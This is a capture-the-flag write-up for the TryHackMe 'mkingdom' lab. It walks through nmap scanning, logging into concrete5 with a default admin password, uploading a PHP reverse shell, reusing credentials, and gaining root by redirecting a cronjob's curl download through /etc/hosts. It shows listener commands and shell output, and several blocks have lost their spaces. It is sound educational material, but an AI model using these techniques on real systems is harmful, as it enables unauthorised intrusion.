The following post by 0xb0b is licensed under CC BY 4.0
Recon
We start with a Nmap scan and find only one open port, 85. We are dealing with an Apache httpd 2.4.7web server. The title suggests defacing has happened.
╭─xb0b@parrot~/Documents/tryhackme/mkingdom╰─➤ $ nmap-p-mkingdom.thm-T4StartingNmap7.94SVN ( https://nmap.org ) at 2024-06-15 10:21 CESTNmapscanreportformkingdom.thm (10.10.10.52)Hostisup (0.050s latency).Notshown:65534closedtcpports (conn-refused)PORTSTATESERVICE85/tcpopenmit-ml-devNmapdone:1IPaddress (1 hostup) scanned in 14.02 seconds╭─xb0b@parrot~/Documents/tryhackme/mkingdom╰─➤ $ nmap-sC-sV-p85mkingdom.thm-T4StartingNmap7.94SVN ( https://nmap.org ) at 2024-06-15 10:22 CESTNmapscanreportformkingdom.thm (10.10.10.52)Hostisup (0.039s latency).PORTSTATESERVICEVERSION85/tcpopenhttpApachehttpd2.4.7 ((Ubuntu))|_http-server-header:Apache/2.4.7 (Ubuntu)|_http-title:0HN0!PWN3D4G4INServicedetectionperformed.Pleasereportanyincorrectresultsathttps://nmap.org/submit/.Nmapdone:1IPaddress (1 hostup) scanned in 7.84 seconds
On the index page, we are greeted with a picture of a very well-known villain.
We enumerate the pages, level by level, with Gobuster. Meanwhile, we look at the image with exiftool and https://www.aperisolve.com/, maybe we discover something hidden. Except for a set author name, we do not find anything else of relevance.
Manually and with Gobuster we reach a blog at endpoint /app/castle.
There is only one blog post.
But this one reveals us a potential username we might need later.
We see that the CMS concrete is being used. In the source, we also find the version used: 8.5.2. This is vulnerable to authenticated remote code execution.
This vulnerability is explained step-by-step in the following post. The requirement here is to be in possession of admin credentials, as this allows you to remove the upload restrictions by adding file types and then uploading and triggering a PHP reverse shell.
We know about the possible entry point through authenticated RCE, but still need credentials. Here, the defaced page was my first dead end, because I thought that the picture was deliberately placed here for stego, but this is not the case.
We can log in with the username admin and a very well-known insecure password that starts with p.
We are able to log in and have the admin dashboard available.
Next, we follow the steps described in the article below:
Next, add php, separated by a comma, and save the changes.
Now we create a PHP reverse sell on revshells.com, selecting the PHP Pentest Monkey.
To upload files, we simply drag them into the File Manager at /app/castle/dashboard/files/search. We get the URL to access the file. Before we do that, we set up a listener on our chosen port.
We get a connection from our reverse shell as www-data. Unfortunately, we won't find the user flag here. We have to move laterally. By inspection /etc/passwd we find two users, toad and mario.
╭─xb0b@parrot~/Documents/tryhackme/mkingdom╰─➤ $ nc -lnvp 4445 1 ↵
listeningon [any] 4445 ...connectto [10.8.211.1] from (UNKNOWN) [10.10.71.227] 58970Linuxmkingdom.thm4.4.0-148-generic#174~14.04.1-Ubuntu SMP Thu May 9 08:17:37 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux06:24:18up1:28,0users,loadaverage:0.01,0.02,0.00USERTTYFROMLOGIN@IDLEJCPUPCPUWHATuid=33(www-data) gid=33(www-data) groups=33(www-data),1003(web)bash:cannotsetterminalprocessgroup (1369): Inappropriate ioctl for devicebash:nojobcontrolinthisshellwww-data@mkingdom:/$whoamiwhoamiwww-datawww-data@mkingdom:/$
Shell as toad
We run linpeas.sh and find cat as a SUID binary that is owned by user toad. So, in that case, by running cat as another user, that binary gets executed as user toad. That might give us some restrictions if we want to read files as another user.
By checking out the config files, we can find the database credentials. We could now look up the database, but we won't find any new users. Instead, we could check if the credentials were being reused.
First, if this has not already happened, we need to upgrade our revers shell to have it more interactively and be able to switch users.
Here we find the first flag, and we can't read the flag, because of the SUID bit set. We look for another copy of cat on the machine and find one at /usr/lib/klibc/cat, With that, we can read the last flag.
Shell as root
If this has not already happened, we upload and run pspy64 on the machine to discover processes running in the background.
Here we find a cronjob that uses cURL to download a script at mkingdom.thm and execute it. If we are somehow able to write to /etc/host, we can easily supply the machine with a malicious script that executes a reverse shell for us.
Again, we use revshells.com to generate a reverse shell. This time using BusyBox.
We see we are able to write to /etc/hosts as mario.
With nano or vi we can update the /etc/hosts and replace the existing IP for mkingdom.thm with our own IP address.
mario@mkingdom:/var/www/html/app/castle/application$nano/etc/hostsErroropeningterminal:unknown.mario@mkingdom:/var/www/html/app/castle/application$exportTERM="xterm"mario@mkingdom:/var/www/html/app/castle/application$nano/etc/hostsmario@mkingdom:/var/www/html/app/castle/application$cat/etc/hosts127.0.0.1localhost10.8.211.1mkingdom.thm127.0.0.1backgroundimages.concrete5.org127.0.0.1www.concrete5.org127.0.0.1newsflow.concrete5.org# The following lines are desirable for IPv6 capable hosts::1ip6-localhostip6-loopbackfe00::0ip6-localnetff00::0ip6-mcastprefixff02::1ip6-allnodesff02::2ip6-allrouters
Next, we create the folder structure, create the script, place it in the correct location, and set up a web server on port 85 using Python. Besides this, a listener is running on our desired port.
